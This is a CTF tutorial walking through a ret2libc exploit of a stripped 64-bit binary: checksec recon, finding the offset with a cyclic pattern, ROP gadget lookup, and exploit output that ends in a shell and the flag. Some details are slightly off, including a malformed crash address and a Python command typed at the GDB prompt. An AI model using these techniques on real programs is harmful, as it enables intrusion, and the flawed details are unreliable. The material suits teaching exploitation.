Binary Exploitation CTF Challenges: Step-by-Step

At DEF CON CTF 2025, a pwn challenge called stacksmash stumped hundreds of teams for six hours. The binary was stripped, NX was enabled, and the offset wasn’t obvious. Teams that solved it didn’t use magic — they used a repeatable recon process. Here’s that process, applied from scratch.

Step 1: Enumerate the Binary Before Touching a Debugger

Before you open GDB, you need to know what you’re fighting. Run checksec and file immediately. These two commands shape every decision that follows.

user@ctfbox:~/challenges$ file stacksmash
stacksmash: ELF 64-bit LSB executable, x86-64, dynamically linked, stripped

user@ctfbox:~/challenges$ checksec --file=stacksmash
[*] '/home/user/challenges/stacksmash'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

What this tells you: No stack canary means you can overflow the return address without triggering an abort. No PIE means the binary loads at a fixed base address — 0x400000 every single time. NX is enabled, so you can’t execute shellcode on the stack directly. That last point pushes you toward a ret2libc or ROP chain approach.

Partial RELRO means the GOT (Global Offset Table) is writable — useful for GOT overwrite attacks later. Write these facts down before continuing. Skipping this step is why people waste two hours going in the wrong direction.

Next, pull strings and check for useful functions:

user@ctfbox:~/challenges$ rabin2 -i stacksmash | grep -E 'system|gets|puts|printf'
[Imports]
3   0x00000000 GLOBAL FUNC   gets
7   0x00000000 GLOBAL FUNC   puts
11  0x00000000 GLOBAL FUNC   system

gets() is your vulnerability — it reads input with no length check. system() being imported means ret2libc is very likely in scope. You now have a target function and a probable exploit path before writing a single line of Python.

Step 2: Find the Offset with a Cyclic Pattern

You know there’s a buffer overflow via gets(). Now you need the exact number of bytes before you control the return address. Use pwntools cyclic pattern — it’s faster and less error-prone than manual binary search.

user@ctfbox:~/challenges$ python3 -c "
from pwn import *
pattern = cyclic(200)
with open('pattern.txt', 'wb') as f:
    f.write(pattern)
print(pattern)
"
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa...

Now run the binary under GDB and feed it the pattern:

user@ctfbox:~/challenges$ gdb -q ./stacksmash
(gdb) run < pattern.txt

Program received signal SIGSEGV, Segmentation fault.
0x00000000006161616c in ?? ()

(gdb) python3 -c "from pwn import *; print(cyclic_find(0x6161616c))"
44

What this tells you: The program crashed trying to jump to 0x6161616c. Feed that value to cyclic_find() and you get 44 bytes — that's your offset. After 44 bytes of padding, the next 8 bytes overwrite the return address. You now have precise control of execution flow.

Verify it. Send 44 A's followed by 8 B's and confirm RIP holds 0x4242424242424242 in GDB. Always verify before building the full exploit.

Step 3: Build the ret2libc Exploit with pwntools

NX blocks shellcode on the stack, but ret2libc bypasses it entirely. You redirect execution to system("/bin/sh") using addresses already loaded in memory. You need three things: a pop rdi; ret gadget, the address of /bin/sh in libc, and the address of system().

user@ctfbox:~/challenges$ ROPgadget --binary stacksmash | grep "pop rdi"
0x00000000004012cb : pop rdi ; ret

user@ctfbox:~/challenges$ python3 exploit.py
[+] Starting local process './stacksmash': pid 3821
[*] libc base: 0x7f3a2c000000
[*] system() : 0x7f3a2c04f550
[*] /bin/sh  : 0x7f3a2c1b40fa
[*] Switching to interactive mode
$ whoami
ctf-user
$ cat /flag
HXO{r3t2l1bc_1s_cl4ss1c_f0r_4_r34s0n}

What just happened: The exploit sends 44 bytes of padding, then chains three gadgets — pop rdi loads the /bin/sh string address into RDI (the first argument register on x86-64), then ret aligns the stack, then jumps to system(). The shell spawns. Flag captured.

The ret gadget before system() is a stack alignment fix — on 64-bit Linux, system() requires 16-byte stack alignment or it crashes in movaps. Forgetting this burns more time than the offset math. Don't skip it.

What To Do Now

Open pwnable.kr and load the bof challenge right now. It's a classic ret2win with no canary and no PIE. Run checksec, find your offset with a cyclic pattern, and redirect execution to the win() function. The entire process — recon, offset, exploit — should take under 20 minutes if you follow the steps above. That single rep will wire the methodology into muscle memory better than reading ten more posts.